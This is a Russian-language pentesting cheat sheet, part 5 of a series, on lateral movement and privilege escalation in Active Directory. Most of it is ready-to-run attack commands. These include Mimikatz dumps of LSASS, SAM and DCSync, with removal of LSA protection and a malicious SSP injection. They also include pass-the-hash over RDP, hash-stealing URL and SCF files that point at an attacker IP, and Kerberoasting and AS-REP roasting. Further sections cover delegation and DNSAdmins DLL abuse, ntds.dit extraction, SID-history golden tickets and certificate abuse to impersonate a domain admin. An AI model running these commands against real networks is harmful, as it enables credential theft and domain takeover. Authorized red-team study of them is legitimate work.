Pentesting Active Directory: эскалация привилегий (PART 5)
Введение
Оказавшись в сети, противник будет стремиться повысить свои привилегии и скомпрометировать другие системы, чтобы найти конфиденциальные данные или получить доступ к другим критическим ресурсам. Они также хотят сохранить свой доступ. Для этого они могут создавать новые учетные записи пользователей, изменять настройки или даже устанавливать бэкдоры.
Именно здесь в игру вступают пути атаки. Используя путь атаки, злоумышленник может повысить свои привилегии с обычного пользователя до администратора и даже до администратора домена, что дает ему неограниченную власть в домене.
Более того, компрометируя учетные записи авторизованных пользователей и администраторов, злоумышленники могут сделать свою деятельность труднозаметной. А получив достаточные привилегии, они могут и дальше уклоняться от обнаружения, заставляя системы выдавать ложные сообщения о том, что все работает нормально.
Горизонтальное перемещение
PowerShell Remoting
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting #Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName <Name> Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>
Удаленное выполнение кода с использованием учетных данных PS
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword) Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
Импорт модуля PowerShell и удаленное выполнение его функций
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess #Interact with the session Enter-PSSession -Session $sess
Выполнение команд Remote Stateful
#Create a new session $sess = New-PSSession -ComputerName <NameOfComputer> #Execute command on the session Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} #Check the result of the command to confirm we have an interactive session Invoke-Command -Session $sess -ScriptBlock {$ps}
Mimikatz
#Команды в формате cobalt strike! #Дамп LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords #(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN> #Сохраните в памяти все доступные билеты kerberos mimikatz sekurlsa::tickets #Дамп учетных данных служб локальных терминалов mimikatz sekurlsa::tspkg #Дамп и сохранение LSASS в файл mimikatz sekurlsa::minidump c:\temp\lsass.dmp #Список кэшированных главных ключей mimikatz sekurlsa::dpapi #Список локальных ключей Kerberos AES mimikatz sekurlsa::ekeys #Дамп SAM Database mimikatz lsadump::sam #Дамп SECRETS Database mimikatz lsadump::secrets #Дамп учетных данных контроллера домена mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject #Дамп учетных данных домена, не касаясь LSASS контроллера домена, а также удаленние mimikatz lsadump::dcsync /domain:<DomainFQDN> /all #Дамп старых паролей и NTLM хешей mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history #Список и дамп локальных учетных данных kerberos mimikatz kerberos::list /dump #Передача билета mimikatz kerberos::ptt <PathToKirbiFile> #Список сеансов TS/RDP mimikatz ts::sessions #Список учетных данных хранилища mimikatz vault::list
#Проверьте, запускается ли LSA как защищенный процесс, посмотрев, установлена ли переменная "RunAsPPL" в значение 0x1. reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa #Затем загрузите файл mimidriver.sys из официального репозитория mimikatz в ту же папку, где находится ваш mimikatz.exe #Теперь импортируем файл mimidriver.sys в систему. mimikatz # !+ #Теперь давайте удалим флаги защиты из процесса lsass.exe mimikatz # !processprotect /process:lsass.exe /remove #Наконец, запустите функцию logonpasswords для создания дампа lsass mimikatz # sekurlsa::logonpasswords
https://github.com/itm4n/PPLdump
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland
#Проверьте, существует ли процесс под названием lsaiso.exe в запущенных процессах. tasklist |findstr lsaiso #Если это произойдет, то не будет возможности сделать дамп lsass, мы получим только зашифрованные данные. Но мы все равно можем использовать кейлоггеры или дамперы буфера обмена для перехвата данных. #Давайте внедрим в память наш собственный вредоносный поставщик поддержки безопасности, для этого примера я использую тот, который предоставляет mimikatz mimikatz # misc::memssp #Теперь каждый сеанс пользователя и аутентификация на этой машине будут регистрироваться, а учетные данные в открытом виде будут перехватываться и сбрасываться в файл c:\windows\system32\mimilsa.log
https://adsecurity.org/?page_id=1821
https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a
Протокол удаленного рабочего стола
Если на хосте, на который мы хотим выполнить горизонтальное перемещение, включен режим "RestrictedAdmin", мы можем передать хэш по протоколу RDP и получить интерактивную сессию без пароля в открытом виде.
#Мы выполняем pass-the-hash с помощью mimikatz и порождаем экземпляр mstsc.exe с флагом "/restrictedadmin". privilege::debug sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin" #Затем просто нажмите OK в диалоге RDP и наслаждайтесь интерактивной сессией в качестве пользователя, за которого мы себя выдали.
xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>
Если режим Restricted Admin отключен на удаленной машине, мы можем подключиться к хосту с помощью другого инструмента/протокола, например psexec или winrm, и включить его, создав следующий ключ реестра и установив для него нулевое значение: "HKLM:
\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin
Атаки на файлы URL
[InternetShortcut] URL=whatever WorkingDirectory=whatever IconFile=\\<AttackersIp>\%USERNAME%.icon IconIndex=1
[InternetShortcut] URL=file://<AttackersIp>/leak/leak.html
[Shell] Command=2 IconFile=\\<AttackersIp>\Share\test.ico [Taskbar] Command=ToggleDesktop
Поместив эти файлы в общий ресурс, доступный для записи, жертве достаточно открыть проводник файлов и перейти к ресурсу. Обратите внимание, что файл не обязательно должен быть открыт или пользователь должен взаимодействовать с ним, но он должен находиться в верхней части файловой системы или просто быть видимым в окне проводника windows, чтобы быть отображенным. Используйте responder для перехвата хэшей.
Полезные инструменты
- Powercat netcat написан на языке powershell и предоставляет возможности туннелирования, ретрансляции и переадресации портов.
возможности. - SCShell бесфайловый инструмент бокового перемещения, который полагается на ChangeServiceConfigA для выполнения команды
- Evil-Winrm - лучшая оболочка WinRM для хакинга/пентестинга.
- RunasCs Csharp и открытая версия встроенного в windows runas.exe
- ntlm_theft создает все возможные форматы файлов для атак на url-файлы
Повышение привилегий домена
Kerberoast
Все стандартные пользователи домена могут запросить копию всех учетных записей служб вместе с соответствующими хэшами паролей, поэтому мы можем запросить у TGS любой SPN, привязанный к учетной записи "user".
учетной записи, извлечь зашифрованный блоб, который был зашифрован с помощью пароля пользователя, и перебрать его в автономном режиме.
#Получение учетных записей пользователей, которые используются в качестве учетных записей служб Get-NetUser -SPN #Получите все доступные учетные записи SPN, запросите TGS и сбросьте его хэш. Invoke-Kerberoast #Запрос TGS для одного тикета: Request-SPNTicket #Экспорт всех тикетов с помощью Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
#Получение учетных записей пользователей, которые используются в качестве учетных записей служб Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
#Kerberoasting и вывод в файл со специальным форматом Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> #Kerberoasting при этом является "OPSEC" безопасным, по сути, не пытаясь поджарить аккаунты с поддержкой AES. Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec #Учетные записи с поддержкой Kerberoast AES Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes #Учетная запись конкретного пользователя Kerberoast Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple #Kerberoast, указав учетные данные для аутентификации Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>
ASREPRoast
Если учетная запись пользователя домена не требует предварительной аутентификации kerberos, мы можем запросить действительный TGT для этой учетной записи, даже не имея учетных данных домена, извлечь зашифрованный
и перебрать его в автономном режиме.
- PowerView:
Get-DomainUser -PreauthNotRequired -Verbose
- AD Module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
Принудительное отключение Kerberos Preauth на аккаунте, у которого есть права на запись или больше!
Проверьте наличие интересных разрешений для учетных записей:
Подсказка: мы добавляем фильтр, например, RDPUsers, чтобы получить "учетные записи пользователей", а не учетные записи машин, потому что хэши учетных записей машин не взламываются!
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
И, наконец, выполните атаку с помощью инструмента ASREPRoast:
#Получение хэша для аккаунтов: Get-ASREPHash -UserName <UserName> -Verbose #Получите хэши всех пользователей ASREPRoastable: Invoke-ASREPRoast -Verbose
#Пробуем атаку для всех пользователей домена Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> #ASREPRoast специфические пользователи Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> #ASREPRoast пользователи конкретной OU (Organization Unit) Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
#Атака для указанных пользователей в файле python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>
Атака с распылением пароля
Если мы собрали несколько паролей, скомпрометировав учетную запись пользователя, мы можем использовать этот метод, чтобы попытаться использовать повторное использование паролей
на других учетных записях домена.
SPN
Если у нас достаточно прав -> GenericAll/GenericWrite, мы можем установить SPN на целевой учетной записи, запросить TGS, затем взять ее блоб и перебрать его.
#Проверьте наличие интересных разрешений на учетных записях: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} #Проверьте, задан ли уже SPN для текущего пользователя: Get-DomainUser -Identity <UserName> | select serviceprincipalname #Принудительно установите SPN для учетной записи: Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
#Проверьте, есть ли у текущего пользователя уже заданный SPN Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName #Принудительно установите SPN для учетной записи: Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}
Наконец, используйте любой инструмент из тех, что были ранее, чтобы захватить хэш и керберизовать его.
Использование теневых копий
Если у вас есть доступ локального администратора к машине, попробуйте перечислить теневые копии, это простой способ эскалации домена.
#Список теневых копий с помощью vssadmin (требуется доступ администратора) vssadmin list shadows #Список теневых копий с помощью diskshadow diskshadow list shadows all #Создайте симлинк на теневую копию и получите к ней доступ mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
- Вы можете сбросить резервную копию базы данных SAM и собрать учетные данные.
- Найти хранящиеся в DPAPI учетные данные и расшифровать их.
- Получить доступ к резервным конфиденциальным файлам.
Список и расшифровка сохраненных учетных данных с помощью Mimikatz
Обычно зашифрованные учетные данные хранятся в:
#Используя функцию cred из mimikatz, мы можем перечислить объект cred и получить информацию о нем: dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" #Из предыдущей команды нас интересует параметр "guidMasterKey", который сообщает нам, какой мастер-ключ был использован для шифрования учетных данных #Перечислим мастер-ключи: dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" #Теперь, если мы находимся в контексте пользователя (или системы), которому принадлежит учетная запись, мы можем использовать флаг /rpc для передачи расшифровки мастер-ключа контроллеру домена: dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc #Теперь у нас есть мастер-ключ в локальном кэше: dpapi::cache #Наконец, мы можем расшифровать учетные данные, используя кэшированный мастер-ключ: dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
Неограниченное делегирование
Если у нас есть административный доступ на машине, на которой включено неограниченное делегирование, мы можем дождаться, когда
когда к ней подключится ценная цель или DA, украсть его TGT, затем ptt и выдать себя за него!
#Обнаружение компьютеров, подключенных к домену, у которых включено неограниченное делегирование Get-NetComputer -UnConstrained #Список билетов и проверка, сохранил ли DA или какая-либо цель с высокой стоимостью свой TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"' #Команда для отслеживания всех входящих сессий на нашем взломанном сервере Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay <WaitInterval> -Verbose #Дамп билетов на диск: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' #Выдать себя за пользователя с помощью ptt-атаки: Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'
Примечание: Мы также можем использовать Рубеуса!
Ограниченное делегирование
Использование PowerView и Kekeo:
#Перечисление пользователей и компьютеров с ограниченным делегированием Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth #Если у нас есть пользователь с ограниченным делегированием, мы запрашиваем действительный tgt этого пользователя с помощью kekeo tgt::ask /user:<UserName> /domain:<Domain^s FQDN> /rc4:<hashedPasswordOfTheUser> #Затем, используя TGT, мы запрашиваем у TGS услугу, к которой этот пользователь имеет доступ через ограниченное делегирование. tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN> #В конце концов, используйте mimikatz, чтобы получить TGS. Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt
Теперь мы можем получить доступ к сервису как имперсонифицированный пользователь!
В этом случае мы все равно можем воспользоваться функцией kerberos под названием "альтернативная служба". Она позволяет нам запрашивать билеты TGS для других "альтернативных" сервисов, а не только для того, на который у нас есть права. Это дает нам возможность запрашивать действительные билеты для любой службы, которую поддерживает хост, предоставляя нам полный доступ к целевой машине.
Ограниченное делегирование на основе ресурсов
Если у нас есть привилегии GenericALL/GenericWrite на объект учетной записи машины в домене, мы можем злоупотреблять ими и выдавать себя за любого пользователя домена. Например, мы можем выдать себя за администратора домена и получить полный доступ.
Сначала нам нужно ввести контекст безопасности учетной записи пользователя/машины, имеющей привилегии на объект.
Если это учетная запись пользователя, мы можем использовать Pass the Hash, RDP, PSCredentials и т. д.
#Импортируйте Powermad и используйте его для создания новой учетной записи MACHINE ACCOUNT . .\Powermad.ps1 New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose #Импорт PowerView и получение SID учетной записи нашей новой созданной машины . .\PowerView.ps1 $ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid #Затем, используя SID, мы создадим ACE для новой созданной учетной записи машины, используя необработанный дескриптор безопасности: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) #Далее нам нужно установить дескриптор безопасности в поле msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи компьютера, которую мы берем на себя, опять же с помощью PowerView Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose #После этого нам нужно получить RC4-хэш пароля новой учетной записи машины с помощью Rubeus Rubeus.exe hash /password:'p@ssword!' #Для этого примера мы собираемся выдать себя за администратора домена на службе cifs целевого компьютера с помощью Rubeus Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt #Наконец-то мы можем получить доступ к диску C$ целевой машины. dir \\TargetMachine.wtver.domain\C$
В Constrain и Resource-Based Constrained Delegation, если у нас нет пароля/хэша учетной записи с TRUSTED_TO_AUTH_FOR_DELEGATION, которой мы пытаемся злоупотребить, мы можем использовать очень хороший трюк "tgt::deleg" из kekeo или "tgtdeleg" из rubeus и обмануть Kerberos, чтобы он выдал нам действительный TGT для этой учетной записи. Затем мы просто используем билет вместо хэша учетной записи для выполнения атаки.
#Команда для Rubeus Rubeus.exe tgtdeleg /nowrap
Абуз DNSAdmins
Если пользователь входит в группу DNSAdmins, он может загрузить произвольную DLL с привилегиями dns.exe, которая запускается от имени SYSTEM. В случае если DC обслуживает DNS, пользователь может повысить свои привилегии до DA. Этот процесс эксплуатации требует привилегий для перезапуска службы DNS.
1. Перечислите членов группы DNSAdmins:
- PowerView:
Get-NetGroupMember -GroupName "DNSAdmins"
- AD Module:
Get-ADGroupMember -Identiny DNSAdmins
2. Как только мы нашли члена этой группы, нам нужно скомпрометировать его (есть много способов).
3. Затем, разместив вредоносную DLL на SMB-рассылке и настроив использование dll, мы можем повысить свои привилегии:
#Использование dnscmd: dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll #Перезапустите службу DNS: sc \\DNSServer stop dns sc \\DNSServer start dns
Абуз DNS с интеграцией в Active Directory
Абуз Backup Operators Group (группой резервных операторов)
Если нам удастся скомпрометировать учетную запись пользователя, входящего в группу Backup Operators, то мы сможем воспользоваться ее привилегией SeBackupPrivilege для создания теневой копии текущего состояния DC,
извлечь файл базы данных ntds.dit, сделать дамп хэшей и повысить наши привилегии до DA.
1. Получив доступ к учетной записи с привилегией SeBackupPrivilege, мы можем получить доступ к DC и создать теневую копию с помощью подписанного двоичного диска diskshadow:
#Создайте файл .txt, который будет содержать сценарий процесса теневого копирования Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive create expose %mydrive% w: end backup } #Выполните diskshadow с нашим скриптом в качестве параметра diskshadow /s script.txt
2. Далее нам нужно получить доступ к теневой копии, у нас может быть привилегия SeBackupPrivilege, но мы не можем просто скопировать-вставить ntds.dit, нам нужно подражать программе резервного копирования и использовать вызовы Win32 API для копирования в доступную папку. Для этого мы воспользуемся этим замечательным инструментом:
#Импорт обеих dll из репозитория с помощью powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll #Проверка, включена ли привилегия SeBackupPrivilege Get-SeBackupPrivilege #Если это не так, мы сделаем это Set-SeBackupPrivilege #Используем функциональность dlls для копирования файла базы данных ntds.dit из теневой копии в выбранное нами место Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
3. С помощью smbclient.py из impacket или другого инструмента мы копируем ntds.dit и улей SYSTEM на нашу локальную машину.
4. Используйте файл secretsdump.py из impacket и сбросьте хэши.
5. Используйте psexec или другой инструмент по вашему выбору для PTH и получения доступа администратора домена.
Абуз Exchange
Баг принтера, превращающая принтер в оружие
Абуз ACLs
Абуз IPv6 используя mitm6
Абуз истории SID
Если нам удастся скомпрометировать дочерний домен леса, а фильтрация SID не включена (в большинстве случаев не включена), мы сможем воспользоваться этим для повышения привилегий до администратора домена корневого домена леса. Это возможно благодаря полю SID History в билете kerberos TGT, которое определяет "дополнительные" группы безопасности и привилегии.
#Получение SID текущего домена с помощью PowerView Get-DomainSID -Domain current.root.domain.local #Получение SID корневого домена с помощью PowerView Get-DomainSID -Domain root.domain.local #Создайте идентификатор Enteprise Admins SID Format: RootDomainSID-519 #Получить "Дополнительный" золотой билет, используя mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi #Введите билет в память kerberos::ptt \path\to\ticket\golden.kirbi #Список DC корневого домена dir \\dc.root.domain.local\C$ #Или DCsync и сброс хэшей с помощью mimikatz lsadump::dcsync /domain:root.domain.local /all
Эксплуатация SharePoint
- CVE-2019-0604 RCE Exploitation \
PoC - CVE-2019-1257 Code execution through BDC deserialization
- CVE-2020-0932 RCE using typeconverters \
PoC
Zerologon
- Zerologon: Unauthenticated domain controller compromise: White paper of the vulnerability.
- SharpZeroLogon: C# implementation of the Zerologon exploit.
- Invoke-ZeroLogon: PowerShell implementation of the Zerologon exploit.
- Zer0Dump: Python implementation of the Zerologon exploit using the impacket library.
PrintNightmare
- CVE-2021-34527: Vulnerability details.
- Impacket implementation of PrintNightmare: Reliable PoC of PrintNightmare using the impacket library.
- C# Implementation of CVE-2021-1675: Reliable PoC of PrintNightmare written in C#.
Службы сертификации Active Directory
Проверка уязвимых шаблонов сертификатов с помощью: Certify
Certify можно выполнить и с помощью команды execute-assembly
в Cobalt Strike.
.\Certify.exe find /vulnerable /quiet
Убедитесь, что значение msPKI-Certificates-Name-Flag установлено на "ENROLLEE_SUPPLIES_SUBJECT" и что права регистрации разрешают Домен/Аутентифицированные пользователи. Кроме того, убедитесь, что параметр pkiextendedkeyusage содержит значение "Client Authentication", а также что параметр "Authorized Signatures Required" установлен в 0.
Этот эксплойт работает только потому, что эти настройки включают аутентификацию сервера/клиента, то есть злоумышленник может указать UPN администратора домена ("DA") и использовать захваченный сертификат с помощью Rubeus для подделки аутентификации.
Примечание: Если администратор домена входит в группу защищенных пользователей, эксплойт может не сработать. Проверьте, прежде чем выбрать DA для атаки.
Запросите сертификат учетной записи DA с помощью Certify
.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine
Это должно вернуть действительный сертификат для связанной учетной записи DA.
Экспортированные файлы cert.pem и cert.key должны быть объединены в один файл cert.pem, с одним пробелом между END RSA PRIVATE KEY и BEGIN CERTIFICATE.
-----BEGIN RSA PRIVATE KEY----- BIIEogIBAAk15x0ID[...] [...] [...] -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- BIIEogIBOmgAwIbSe[...] [...] [...] -----END CERTIFICATE-----
Используйте openssl для преобразования в формат PKCS #12
Команда openssl
может быть использована для преобразования файла сертификата в формат PKCS #12 (вам может потребоваться ввести пароль экспорта, который может быть любым).
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
После того как файл cert.pfx будет экспортирован, загрузите его на взломанный хост (это можно сделать различными способами, например с помощью Powershell, SMB, certutil.exe, функции загрузки Cobalt Strike и т. д.).
После загрузки файла cert.pfx на скомпрометированный хост можно использовать Rubeus для запроса Kerberos TGT для учетной записи DA, который затем будет импортирован в память.
.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt
В результате должен получиться успешно импортированный билет, который позволит злоумышленнику выполнить различные вредоносные действия в контексте пользователя DA, например, провести атаку DCSync.
Оригинальная статья | Перевод: THREAD